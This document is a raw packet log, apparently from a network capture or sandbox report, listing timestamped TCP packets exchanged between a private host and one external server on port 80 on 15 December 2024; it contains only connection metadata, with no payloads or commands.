Dec 15, 2024 11:59:12.461736917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.462626934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.462718964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.462728024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.462768078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.463700056 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.463746071 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.463824987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.463865995 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.464829922 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.464917898 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.464926004 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.464963913 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.465773106 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.465818882 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.465867043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.465909004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.466820955 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.466866970 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.466917038 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.466958046 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.467889071 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.467932940 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.467967033 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.468008041 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.469523907 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.469563961 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.469578028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.469620943 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.470340014 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.470382929 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.470446110 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.470485926 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.471849918 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.471892118 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.471935987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.471976995 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.472624063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.472666979 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.472713947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.472755909 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.473670959 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.473706961 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.473715067 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.473757982 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.474379063 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.474432945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.474456072 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.474500895 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.475251913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.475298882 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.475400925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.475444078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.476279974 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.476320982 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.476401091 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.476442099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.495701075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.495755911 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.495781898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.495826006 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.496201038 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.496246099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.496416092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.496458054 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.496521950 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.496562958 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.497422934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.497463942 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.497534037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.497575998 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.498439074 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.498492002 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.498569012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.498717070 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.499501944 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.499547005 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.499603033 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.499644995 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.500596046 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.500638008 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.500691891 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.500731945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.501600981 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.501643896 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.501709938 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.501751900 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.502648115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.502690077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.502765894 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.502805948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.503739119 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.503781080 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.503791094 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.503830910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.504832029 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.504873991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.504998922 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.505331039 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.624628067 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.624785900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.624921083 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.625143051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.625201941 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.625207901 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.625241995 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.626166105 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.626210928 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.626300097 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.626341105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.627208948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.627249956 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.627531052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.627573967 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.627605915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.627648115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.628602982 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.628648043 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.628751993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.628793001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.629652977 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.629698038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.629734993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.629776955 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.630753994 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.630850077 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.630903006 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.631805897 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.631860971 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.631957054 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.632169008 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.632822990 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.632869959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.632936954 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.633332014 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.633908987 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.634018898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.634068012 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.634895086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.634948969 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.635087967 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.635132074 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.635970116 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.636019945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.636059999 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.636101961 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.637003899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.637048006 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.637128115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.637172937 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.638056993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.638101101 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.638174057 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.638214111 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.639110088 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.639151096 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.639225006 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.639265060 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.640163898 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.640208960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.640269041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.640310049 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.641222000 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.641262054 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.641357899 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.641396046 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.642254114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.642303944 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.642308950 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.642438889 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.643393993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.643424034 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.643430948 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.643461943 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.644377947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.644429922 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.644501925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.644536972 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.645418882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.645457983 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.645606041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.645654917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.646498919 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.646553993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.646590948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.646634102 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.647535086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.647583961 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.647681952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.647722006 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.648560047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.648596048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.648669958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.648705959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.649610996 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.649653912 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.649722099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.649759054 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.650675058 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.650707960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.650784969 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.650826931 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.651727915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.651771069 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.651825905 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.651859045 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.652837992 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.652880907 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.652916908 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.652965069 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.653861046 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.653898001 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.653939962 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.653975010 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.654865980 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.654901981 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.654999018 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.655036926 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.655915022 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.655962944 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.656188011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.656222105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.656986952 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.657027960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.657078028 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.657114029 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.658062935 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.658096075 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.658133030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.658166885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.659043074 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.659076929 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.659172058 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.659203053 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.660105944 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.660140038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.660218000 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.660254955 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.661175013 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.661214113 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.661284924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.661319971 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.662209034 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.662262917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.662300110 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.662352085 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.663266897 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.663319111 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.663417101 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.663451910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.664340019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.664376020 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.664423943 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.664463997 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.665352106 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.665395021 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.665467024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.665497065 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.666403055 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.666441917 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.666460037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.666507959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.667454004 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.667494059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.667574883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.667610884 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.668520927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.668564081 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.668589115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.668627024 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.688334942 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.688385010 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.688453913 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.688479900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.688493013 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.688513041 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.688632965 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.688666105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.689464092 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.689501047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.689644098 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.689682961 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.690643072 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.690664053 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.690685987 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.690704107 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.691622019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.691662073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.691693068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.691729069 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.692706108 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.692719936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.692749023 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.692766905 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.693702936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.693747044 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.693862915 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.693898916 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.694673061 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.694714069 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.694799900 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.694829941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.695647955 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.695687056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.696175098 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.696216106 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.697232008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.697246075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.697268009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.697284937 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.697858095 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.697896004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.816739082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.816802025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.816848040 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.816886902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.817039013 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.817087889 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.817147970 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.817192078 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.818085909 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.818135977 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.818145990 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.818191051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.819164991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.819215059 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.819237947 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.819282055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.819911003 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.819956064 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.820168972 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.820214987 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.820945024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.820991993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.821057081 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.821103096 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.822057009 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.822105885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.822177887 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.822222948 CET	49760	80	192.168.2.4	31.41.244.11
